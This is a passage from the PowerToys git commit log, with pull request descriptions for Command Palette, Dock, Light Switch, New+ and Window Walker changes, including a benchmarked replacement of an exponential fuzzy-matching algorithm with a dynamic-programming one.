fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

Release note generation skill add support for quoting co-authors

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

Result may vary because of uncertainty of LLM, while I can get this
result during my tests

<img width="696" height="147" alt="image"
src="https://github.com/user-attachments/assets/9d20670f-b9fb-4630-b6b4-f94c2a5d2284"
/>
2026-03-04 16:40:08 +08:00
Mike Griese
f6309ac549 cmdpal: add IDs to all PT commands (#45840)
Adds IDs to all the PT extension commands. This will let all the PT
commands be pinned, ala #45191
2026-03-04 02:25:56 -05:00
Jiří Polášek
c23ba227b4 CmdPal: Debounce SelectedItem updates in CommandBarViewModel (#45782)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

This PR adds DispatcherQueueTimer-based debounce to SelectedItem updates
when receiving UpdateCommandBarMessage, preventing rapid consecutive
changes and prevents blinking when items change to fast (e.g. during
search). That's right - Command Palette is too fast!

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #45776
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-03 12:22:41 -06:00
Jiří Polášek
ce2e72832c CmdPal: Resilient loading of extensions (#45720)
## Summary of the Pull Request

This PR improves the loading of extensions in the Command Palette and
allows extensions that missed the initial timeout to finish loading.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #45711
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-03 11:56:44 -06:00
Jiří Polášek
c066cc3deb CmdPal: Fix window restore when the window is not WS_EX_TOOLWINDOW (#45877)
## Summary of the Pull Request

This PR checks the window’s actual extended style before saving the
current window size so the offset is calculated correctly. The API used
can return coordinates in different coordinate spaces depending on
whether the window has the `WS_EX_TOOLWINDOW` extended style.

This makes sense in case that settings `WS_EX_TOOLWINDOW` fails, or is
not applied (when debugger is attached).

>
https://learn.microsoft.com/en-us/windows/win32/api/winuser/ns-winuser-windowplacement
> If the window is a top-level window that does not have the
WS_EX_TOOLWINDOW window style, then the coordinates represented by the
following members are in workspace coordinates: ptMinPos
2026-03-03 10:28:17 -06:00
Jiří Polášek
9089ca2ede CmdPal: Expand Binding markup extensions to nested elements to avoid WMC1510 (#45830)
## Summary of the Pull Request

This PR expands all Binding XAML markup expressions to nested elements,
which in turn prevents compiler from generating `WMC1510 Ensure the
property path is trimming and AOT compatible` warnings.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Related to: #42574
2026-03-03 04:46:23 -06:00
Niels Laute
798564eea4 CmdPal Dock visual bugfixes (#45871)
This PR fixes the following bugs and iprovements:

- The scroll forward/backward glyphs were clipped
- The `Show labels` settings is redundant as those can be set
individually, and actually messes with that setting. Therefore, removed
from the Settings UI.
- Minor string changes
- The 'Filter commands' box is hidden when right clicking the Dock to
customize it.

---------

Co-authored-by: Jiří Polášek <me@jiripolasek.com>
2026-03-03 10:54:28 +01:00
Zach Teutsch
738b78c406 [CI] Update Assets conflict script to improve error message clarity (#45551)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
Very minor but updated Assets validation script on the CI to make error
messages clearer after discussion with @yeelam-gordon
2026-03-03 06:27:52 +00:00
Jiří Polášek
1cb99e32ef CmdPal: Add ability to refresh the list page while preserving selection (#45882)
## Summary of the Pull Request

This PR adds ability to invoke soft/incremental refresh that updates
items but keep selection in place (instead of resetting it to the first
item). For now, this is implemented as a hack using an unused parameter
of `ListPage.RaiseItemsChanged`: passing the constant `-2` tells the
view model that this is an incremental change and that it should keep
the current selection.


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #45694
- [x] Related to: #44407
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-03 00:39:49 -05:00
Kai Tao
95835a4cfa Always On Top: Dedup the alwaysontop command id in window system menu (#45845)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request
We picked a command id for always on top, although it has little
possibility, but may collide with other window system menu item, so
before inject, try to see if it persists, if yes, then we don't inject.


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
A window with the same id
<img width="1049" height="301" alt="image"
src="https://github.com/user-attachments/assets/ae0ba9b7-c46c-4cbf-8994-e0dc4e5c3527"
/>

You can see there is no always ontop overriding the test item

Normal window:
<img width="468" height="597" alt="image"
src="https://github.com/user-attachments/assets/2ba034a8-c41e-4233-9435-4323c8f1c7a4"
/>
2026-03-03 00:34:00 -05:00
Niels Laute
4146876d88 Adding Open Settings button in SCOOBE (#45775)
See title
2026-03-03 00:07:34 -05:00
Jiří Polášek
a6e49c941d CmdPal: Rename "Results" section on Home page to "Commands" (#45870)
## Summary of the Pull Request

This PR renames "Results" section to "Commands" on Home page in default
view, while keeping "Results" for the search results.

Default view (section title changed to "Commands"):

<img width="907" height="591" alt="image"
src="https://github.com/user-attachments/assets/2aa3810f-b1bc-45a1-97f7-e08e6e8b171a"
/>

Search ("Results" are still present):

<img width="906" height="581" alt="image"
src="https://github.com/user-attachments/assets/99620971-55b5-4f49-832e-3dc4eaadba57"
/>


<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-02 18:29:16 -05:00
Jiří Polášek
734c738751 CmdPal: Move ListViewModel.TextToSuggest property update back to UI thread (#45878)
## Summary of the Pull Request

This PR marshals the setting of the property ListViewModel.TextToSuggest
in SetSelectedItem to the UI thread, so that the change notification is
raised on that thread as well.

Regressed in #45764 

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-02 17:47:02 -05:00
Jaylyn Barbee
22b4dda3aa [Light Switch] Add 10s timeout and pre-check for location detection (#45887)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
- Add 10-second timeout to GetGeopositionAsync to prevent infinite
spinner
- Pre-check location services availability when dialog opens; disable
Detect Location button with message if unavailable
- Show user-friendly error messages for timeout and unavailable
scenarios
- Add LocationErrorText UI element and localized string resources

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #45860
- [x] Closes: #42852

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-03-02 15:26:31 -05:00
Dustin L. Howett
fd399045f7 loc: move build to windows-latest; 2019 is d e a d (#45889)
When Azure DevOps says "no image found," well... he's dead, Jim.
2026-03-02 11:09:14 -08:00
Christian Gaarden Gaardmark
7e3f9f0c3f New+: Fixed issue with files and folders containing only numbers (#45439)
## Summary of the Pull Request
Supersedes https://github.com/microsoft/PowerToys/pull/41465

1) Fix for where template file or folder only contained numbers
2) Fix for where hidden files are shown in the list of templates

## PR Checklist
- [x] Closes: #36216
- [x] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [n/a] **Tests:** Added/updated and all pass
- [n/a] **Localization:** All end-user-facing strings can be localized
- [n/a] **Dev docs:** Added/updated
- [n/a] **New binaries:** Added on the required places
- [n/a] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [n/a] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [n/a] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [n/a] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [n/a] **Documentation updated:** If checked, please file a pull
request on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

## Detailed Description of the Pull Request / Additional comments
1) Fix for where template file or folder only contained numbers
    // Filename cases to support
    // type      | filename                             | result
// [file] | 01. First entry.txt | First entry.txt
    // [folder]  | 02. Second entry                     | Second entry
    // [folder]  | 03 Third entry                       | Third entry
// [file] | 04 Fourth entry.txt | Fourth entry.txt
// [file] | 05.Fifth entry.txt | Fifth entry.txt
    // [folder]  | 001231                               | 001231
    // [file]    | 001231.txt                           | 001231.txt
// [file] | 13. 0123456789012345.txt | 0123456789012345.txt

2) Fix for where hidden files are shown in the list of templates
Instead of excluding based on filename (desktop.ini) exclude based on
hidden and system attribute being set

## Validation Steps Performed
### Before fix
Notice
	1) Folders with numbers only aren't displayed on the context menu
2) Files with extension with numbers only show extension on the context
menu
	3) Some hidden files are shown
<img width="1893" height="786" alt="image"
src="https://github.com/user-attachments/assets/3845a541-499f-47a7-ae99-a92886f74214"
/>



### After fixes
#### Scenario 1
New+ Setting: Hide leading digits…: Yes
New+ Setting: Hide file extension: Yes
New+ Setting: Replace variables: No
<img width="1816" height="1185" alt="image"
src="https://github.com/user-attachments/assets/5ed2c205-d5ce-4366-90d9-c08ef4d2881f"
/>


#### Scenario 2
New+ Setting: Hide leading digits…: No
New+ Setting: Hide file extension: No
New+ Setting: Replace variables: No
<img width="1819" height="1197" alt="image"
src="https://github.com/user-attachments/assets/710265d5-94e9-4fee-9a47-a7bbb78b45bd"
/>


#### Scenario 3
New+ Setting: Hide leading digits…: Yes
New+ Setting: Hide file extension: Yes
New+ Setting: Replace variables: Yes


<img width="1816" height="1197" alt="image"
src="https://github.com/user-attachments/assets/45a90cdd-ec21-4425-9de0-c323ec90f149"
/>
2026-03-02 22:16:01 +08:00
Dave Rayment
9e4bf1e3e0 [Run] Replace WindowWalker's brute-force fuzzy matching algorithm with optimal DP solution (#44551)
## Summary of the Pull Request
Window Walker's fuzzy string matching algorithm exhibits exponential
memory usage and execution time when given inputs containing repeated
characters or phrases. When a user has several windows open with long
titles (such as browser windows), it is straightforward to trigger a
pathological case which uses up gigabytes of memory and freezes the UI.
This is exacerbated by Run's lack of thread pruning, meaning work
triggered by older keystrokes consumes CPU and memory until completion.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #44546
- [x] Closes: #44184
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

## Detailed Description of the Pull Request / Additional comments
The existing algorithm in `FuzzyMatching.cs` is greedy, creating all
possible matching combinations of the search string within the candidate
via its `GetAllMatchIndexes()` method. After this, it selects the best
match and discards the others. This may be considered reasonable for
small search strings, but it causes a combinatorial explosion when there
are multiple possible matches where characters or substrings repeat,
even when the search string is small.

The current brute-force algorithm has time complexity of **O(n * m *
C(n,m))** where **C(n,m)** = **n!/(m!(n-m)!)** and space complexity of
**O(C(n,m) * m)** because it stores all possible match combinations
before choosing the best.

For example, matching `"eeee"` in `"eeeeeeee"` creates **C(8,4)** =
**70** match combinations, which stores 70 lists with 4 integers each,
plus overhead from the LINQ-based list copying and appending:

```csharp
var tempList = results
    .Where(x => x.Count == secondIndex && x[x.Count - 1] < firstIndex)
    .Select(x => x.ToList())   // Creates a full copy of each matching path
    .ToList();                 // Materializes all copies

results.AddRange(tempList);    // Adds lists to results
```

Each potential sub-match may be recalculated many times.

Window Walker queries across all window titles, so this problem will be
magnified if the search text happens to match multiple titles and/or if
a search string containing a single repeated character is used. For
browser windows, where titles may be long, this is especially
problematic, and similarly for Explorer windows with longer paths.

## Proposed solution
The solution presented here is to use a dynamic programming algorithm
which finds the optimal match directly without generating all
possibilities.

In terms of complexity, the new algorithm benefits from a single pass
through its DP table and only has to store two integer arrays which are
sized proportionally to the search and candidate text string lengths; so
**O(n * m)** for both time and space, i.e. polynomial instead of
exponential.

Scoring is equivalent between the old and new algorithms, based strictly
on the minimum match span within the candidate string.

## Implementation notes
The new algorithm tracks the best start index for matches ending at each
position, eliminating the need to store all possible paths. By storing
the "latest best match so far" as you scan through the search text, you
are guaranteed to minimise the span length. To recreate the best match,
a separate table of parent indexes is kept and iterated backwards once
the DP step is complete. Reversing this provides you with the same
result (or equivalent if there are multiple best matches) as the
original algorithm.

For this "minimum-span" fuzzy matching method, this should be optimal as
it only scans once and storage is proportional to the search and
candidate strings only.

## Benchmarks
A verification and benchmarking suite is here:
https://github.com/daverayment/WindowWalkerBench

Results from comparing the old and new algorithms are here:
https://docs.google.com/spreadsheets/d/1eXmmnN2eI3774QxXXyx1Dv4SKu78U96q28GYnpHT0_8/edit?usp=sharing

| Method | Mean | Error | StdDev | Ratio | RatioSD | Gen0 | Gen1 | Gen2
| Allocated | Alloc Ratio |
|----------------
|-----------------:|-----------------:|-----------------:|-----------:|----------:|-----------:|-----------:|----------:|-------------:|------------:|
| Old_Normal | 4,034.4 ns | 220.94 ns | 647.98 ns | 1.02 | 0.23 | 1.9760
| - | - | 8.09 KB | 1.00 |
| New_Normal | 804.5 ns | 24.29 ns | 70.47 ns | 0.20 | 0.04 | 0.4339 | -
| - | 1.77 KB | 0.22 |
| Old_Repetitive | 7,624.7 ns | 318.06 ns | 912.57 ns | 1.94 | 0.38 |
3.7079 | - | - | 15.16 KB | 1.87 |
| New_Repetitive | 2,714.6 ns | 109.03 ns | 318.03 ns | 0.69 | 0.13 |
1.6403 | - | - | 6.72 KB | 0.83 |
| Old_Explosion | 881,443,209.3 ns | 26,273,980.96 ns | 76,225,588.43 ns
| 223,872.87 | 39,357.31 | 50000.0000 | 27000.0000 | 5000.0000 |
351885.11 KB | 43,518.16 |
| New_Explosion | 3,225.4 ns | 111.98 ns | 315.84 ns | 0.82 | 0.15 |
1.7738 | - | - | 7.26 KB | 0.90 |
| Old_Explosion_8 | 460,153,862.6 ns | 18,744,417.95 ns | 54,974,137.06
ns | 116,871.93 | 22,719.87 | 25000.0000 | 14000.0000 | 3000.0000 |
173117.13 KB | 21,409.65 |
| New_Explosion_8 | 2,958.3 ns | 78.16 ns | 230.45 ns | 0.75 | 0.13 |
1.5793 | - | - | 6.46 KB | 0.80 |
| Old_Explosion_7 | 189,069,384.8 ns | 3,774,916.46 ns | 6,202,296.49 ns
| 48,020.68 | 7,501.98 | 11000.0000 | 6333.3333 | 2000.0000 | 71603.96
KB | 8,855.37 |
| New_Explosion_7 | 2,667.5 ns | 117.69 ns | 337.68 ns | 0.68 | 0.13 |
1.3924 | - | - | 5.7 KB | 0.70 |
| Old_Explosion_6 | 71,960,114.8 ns | 1,757,017.15 ns | 5,125,301.87 ns
| 18,276.75 | 3,083.86 | 4500.0000 | 2666.6667 | 1333.3333 | 25515.96 KB
| 3,155.60 |
| New_Explosion_6 | 2,232.5 ns | 72.65 ns | 202.52 ns | 0.57 | 0.10 |
1.1978 | - | - | 4.91 KB | 0.61 |
| Old_Explosion_5 | 9,121,126.4 ns | 180,744.42 ns | 228,583.84 ns |
2,316.62 | 358.55 | 1000.0000 | 968.7500 | 484.3750 | 7630.49 KB |
943.67 |
| New_Explosion_5 | 1,917.3 ns | 48.63 ns | 133.95 ns | 0.49 | 0.08 |
1.0109 | - | - | 4.13 KB | 0.51 |
| Old_Explosion_4 | 2,489,593.2 ns | 82,937.33 ns | 236,624.90 ns |
632.32 | 113.96 | 281.2500 | 148.4375 | 74.2188 | 1729.71 KB | 213.92 |
| New_Explosion_4 | 1,598.3 ns | 51.92 ns | 152.28 ns | 0.41 | 0.07 |
0.8163 | - | - | 3.34 KB | 0.41 |
| Old_Explosion_3 | 202,814.0 ns | 7,684.44 ns | 22,293.96 ns | 51.51 |
9.72 | 72.7539 | 0.2441 | - | 298.13 KB | 36.87 |
| New_Explosion_3 | 1,222.5 ns | 26.07 ns | 76.45 ns | 0.31 | 0.05 |
0.6275 | - | - | 2.57 KB | 0.32 |
| Old_Subsequence | 419,417.7 ns | 8,308.97 ns | 22,178.33 ns | 106.53 |
17.23 | 266.6016 | 0.9766 | - | 1090.05 KB | 134.81 |
| New_Subsequence | 2,501.9 ns | 80.91 ns | 233.43 ns | 0.64 | 0.11 |
1.3542 | - | - | 5.55 KB | 0.69 |

(Where "Old_Explosion" is "e" repeated 9 times. Times in nanoseconds or
one millionth of a millisecond.)

It is worth noting that the results show a **single string match**. So
matching "eeeeee" against a 99-character string took 25 MB of memory and
71 milliseconds to compute. For the new algorithm, this is reduced down
to <5KB and 0.002 milliseconds. Even for a three-character repetition,
the new algorithm is >150x faster with <1% of the allocations.

## Real world example
**Before (results still pending after more than a minute):**
<img width="837" height="336" alt="Image"
src="https://github.com/user-attachments/assets/c4c3ae04-6a47-40b9-a2a4-7a4da169f7d5"
/>

**After (instantaneous results):**
<img width="829" height="444" alt="image"
src="https://github.com/user-attachments/assets/055fc4a6-f34f-4bed-a12c-408b52274de2"
/>

## Validation Steps Performed
The verification tests in the benchmark project pass, with results
identical to the original across a number of test cases, including the
pathological cases identified earlier and edge cases such as
single-character searches.

All unit tests under `Wox.Test`, including all 38 `FuzzyMatcherTest`
entries still pass.
2026-03-02 13:45:14 +01:00
Jiří Polášek
cc3c3c0367 Dock: dock visual nits and bits (#45873)
## Summary of the Pull Request

- Improves vertical (left/right) dock layout:
  - Dock items are not clipped;
  - Items with label(s) are stretched to full width;
  - Items without label(s) are centered.
- Top button is in the absolute corner to make clicking to it easier.
- Dock items now have a min width and height 32px.
- Removes a duplicate "No background" label in the expander body on the
Dock settings page.

## Pictures? Pictures!
Vertical layout:
<img width="175" height="1439" alt="image"
src="https://github.com/user-attachments/assets/4f11d9e9-405f-4d9a-8dee-4c8912b88c7c"
/>

Horizontal layout:
<img width="5119" height="49" alt="image"
src="https://github.com/user-attachments/assets/8420ef26-575e-4427-8db8-f9793e3b3572"
/>



<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [ ] Closes: #xxx
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [ ] **Tests:** Added/updated and all pass
- [ ] **Localization:** All end-user-facing strings can be localized
- [ ] **Dev docs:** Added/updated
- [ ] **New binaries:** Added on the required places
- [ ] [JSON for
signing](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ESRPSigning_core.json)
for new binaries
- [ ] [WXS for
installer](https://github.com/microsoft/PowerToys/blob/main/installer/PowerToysSetup/Product.wxs)
for new binaries and localization folder
- [ ] [YML for CI
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/ci/templates/build-powertoys-steps.yml)
for new test projects
- [ ] [YML for signed
pipeline](https://github.com/microsoft/PowerToys/blob/main/.pipelines/release.yml)
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed
2026-03-01 20:06:42 +01:00
Sean Killeen
637b58b136 Setup-dev-envronment.ps1: Capture prereleases from vswhere (#45813)
<!-- Enter a brief description/summary of your PR here. What does it
fix/what does it change/how was it tested (even manually, if necessary)?
-->
## Summary of the Pull Request

Takes one possible approach to allowing for preview installs to be
detected.

⚠️ This has a possible side effect, in that if folks have installations
side-by-side, this would seem to update the Preview version over the
non-Preview version. That may not be preferable behavior, in which case
we could instead update `$commonPaths` to include it, which would allow
it to be found in the absence of a non-preview release.

If others have a preference I'm happy to adapt, as long as it doesn't
leave Preview users with an error.

<!-- Please review the items on the PR checklist before submitting-->
## PR Checklist

- [x] Closes: #45811
<!-- - [ ] Closes: #yyy (add separate lines for additional resolved
issues) -->
- [ ] **Communication:** I've discussed this with core contributors
already. If the work hasn't been agreed, this work might be rejected
- [x] ~~**Tests:** Added/updated and all pass~~ N/A in this case
- [x] ~~**Localization:** All end-user-facing strings can be localized~~
N/A
- [x] ~~**Dev docs:** Added/updated~~ N/A in this case I believe
- [x] ~~**New binaries:** Added on the required places~~ N/A
- [ ] **Documentation updated:** If checked, please file a pull request
on [our docs
repo](https://github.com/MicrosoftDocs/windows-uwp/tree/docs/hub/powertoys)
and link it here: #xxx

<!-- Provide a more detailed description of the PR, other things fixed,
or any additional comments/features here -->
## Detailed Description of the Pull Request / Additional comments

The execution of vsWhere was not returning any items in cases where
prereleases were installed.

This change includes prereleases in the consideration of `-latest`

<!-- Describe how you validated the behavior. Add automated tests
wherever possible, but list manual validation steps taken as well -->
## Validation Steps Performed

 Tested vswhere output directly. Before: no installations. After: 2026
Preview was found

 Tested setup-dev-environment.ps1. Before: warning about missing VS
install. After: operates as expected.
2026-03-01 17:44:16 +00:00
PesBandi
